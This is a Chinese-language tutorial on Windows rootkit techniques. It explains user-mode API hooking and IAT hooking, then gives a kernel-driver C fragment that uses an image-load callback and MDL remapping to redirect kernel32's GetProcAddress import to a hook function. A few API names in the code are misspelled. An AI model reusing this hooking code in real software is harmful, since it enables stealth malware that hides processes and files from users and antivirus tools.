首先介绍一下rootkits,rootkits是一种高端的黑客技术,能够运行在内核态,与杀毒软件处于同一级别,很难被发现与清除。
在windows系统中,大多数的进程都依赖于3个子系统:Win32,POSIX和OS/2子系统,这些子系统包含了一组良好的说明的API,大多数的程序都依赖与这些API,因此它们都是rootkit的极佳目标。
来看一个应用程序调用FindNextFile函数的过程,FindNextFile是Kernel32.dll导出的函数,所以应用程序在运行时加载Kernel32.dll,并将这些函数的内存地址复制到自己的函数导入地址表(import Address Table,IAT)。当应用程序调用FindNextFile时,进程的执行跳转到它的IAT中的位置,从Kernel32.dll中FindNextFile函数的地址处继续执行。
然后Kernel32.dll中的FindNextFile调用到Ntdll.dll中。Ntdll.dll向EAX寄存器加载该函数的等价内核函数,即NtQueryDirectoryFile的系统服务编号,并向EDX加载该函数参数的用户空间地址。然后发送一个INT 2E或SYSENTER指令以自陷(trap)到内核中。
因为应用程序将kernel32.dll加载到自己的私有地址空间0x00010000和0x7FFE0000之间,所以rootkit只要能够访问目标进程的地址空间,它就可以直接重写kernel32.dll中或应用程序的导入表中的任何函数。这称为API钩子。在应用程序的私有地址中,可以找到FindNextFile函数的起始地址,然后使用手工编写的机器代码来重写FindNextFile函数,从而避免列出特定的文件或改变FindNextFile的性能。Rookit也可以重写目标应用程序中的导入表(IAT),使其指向自己写的函数而不是kernel32.dll中的函数。通过钩住API函数,可以完成隐藏进程,隐藏网络端口,将文件写操作重定向到其他文件,防止应用程序打开特定进程的句柄等功能。下面介绍IAT钩子:
当应用程序使用另一个库中的函数时,必须导入该函数的地址。应用程序所用的所有DLL都包含在该应用程序文件系统映像的IMAGE_IMPORT_DESCRIPTOR结构中。这个结构包含了应用程序导入的函数所属的DLL名,以及两个IMAGE_IMPORT_BY_NAME数组指针。IMGE_IMPORT_BY_NAME结构包含了应用程序所使用的导入函数的名称。
操作系统将应用程序加载到内存时,分析这些IMAGE_IMPORT_DESCRIPTOR结构,并将所需的全部DLL加载全部DLL加载到该应用程序的内存中。一旦映射了DLL之后,操作系统就在内存中定位每个导入的函数,并使用使用函数的实际地址来重写一个IMAGE_IMPORT_BY_NAME数组。一旦rootkit的钩子函数处于应用程序的地址空间中,rootkit就可以分析内存中目标应用程序的PE格式,将IAT中目标函数的地址替换为钩子函数的地址。然后,当调用目标函数时,就会执行钩子函数而不是原始函数。
无论是在内核空间还是用户空间,当一个可执行的镜像映射到虚拟内存中时,可以通过注册PsSetLoadImageNotifyRoutine这个函数来扑捉到导入的镜像文件。它的唯一一个参数是是分析镜像的回调函数。更改IAT中函数地址的过程如下:
PIMAGE_DOS_HEADER dosHeader; PIMAGE_NT_HEADERS pNTHeader; PIMAGE_IMPORT_DESCRIPTOR importDesc; PIMAGE_IMPORT_BY_NAME p_ibn; DWORD importsStartRVA; PWORD pd_IAT, pd_INTO; int count, index; char *dll_name = NULL; char *pc_dlltar = "kernel32.dll"; char *pc_fnctar = "GetProcAddress"; PMDL p_mdl; PDWORD MappedImTable; // 导入的是IMAGE_INFO结构中的 PVOID ImageBase变量 dosHeader = (PIMAGE_DOS_HEADER) image_addr; // 宏,对指针的操作 pNTHeader = MakePtr ( PIMAGE_NT_HEADERS, dosHeader, dosHeader->e_lfanew ); // 通过PE文件的Signature字段来判断该文件是否是标准的PE文件 if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE) return STATUS_INVALID_IMAGE_FORMAT; // 导入段的RVA importsStartRVA = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if ( !importsStartRVA ) return STATUS_INVALID_IMAGE_FORMAT; // 导入段的RVA与模块在内存中的起始地址(dosHeader)相加,得到 // 指向第一个IMAGE_IMPORT_DESCRIPTOR的指针 importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) (importsStartRVA + (DWORD)dosHeader); // 过滤每个IMAGE_IMPORT_DESCRIPTOR for(count = 0; importDesc[count].Characteristics != 0; count++) { // 得到导入模块的dll的名称 dll_name = (char*)(importDesc[count].Name + (DWORD)dosHeader); // 得到IAT pd_IAT = (PDWORD)(((DWORD)dosHeader) + (DWORD)importDesc[count].FirstThunk); // 得到指向IMAGE_IMPORT_BY_NAME结构的指针数组 pd_INTO = (PDWORD)(((DWORD)dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk); // IAT中的过滤,找到特定的dll与要hook的函数 for ( index = 0; pd_IAT[index] != 0; index++) { // if this is an import by ordinal // the high bit is set if((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG) { // 得到函数名结构 p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index] + ((DWORD)dosHeader)); // 对比dll名与函数名,找到所需要的 if((_stricmp(dll_name, pc_dlltar) == 0) && (strcmp(p_ibn->Name, pc_fnctar) ==0)) { // Use the trick you already learned to map a different // virtual address to the same physical page so no permission problems // // Map the memory into our domain so we can change the // permissions on the MDL // 改变内存属性,以便修改IAT属性 // MDL方法修改内存属性,以后的文章中会详细介绍 p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4); if(!p_mdl) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(p_mdl); // Change the flags of MDL p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedImTable = MmMapLocakedPages(p_mdl, KernelMode); // Address of the "new function" // 将“GetProcAddress”指向自己定义的函数 *MappedImTable = d_shareM; // Free MDL MmUnmapLoackedPages(MappedImTable, p_mdl); IoFreeMdl(p_mdl); } } } return STATUS_SUCCESS; } |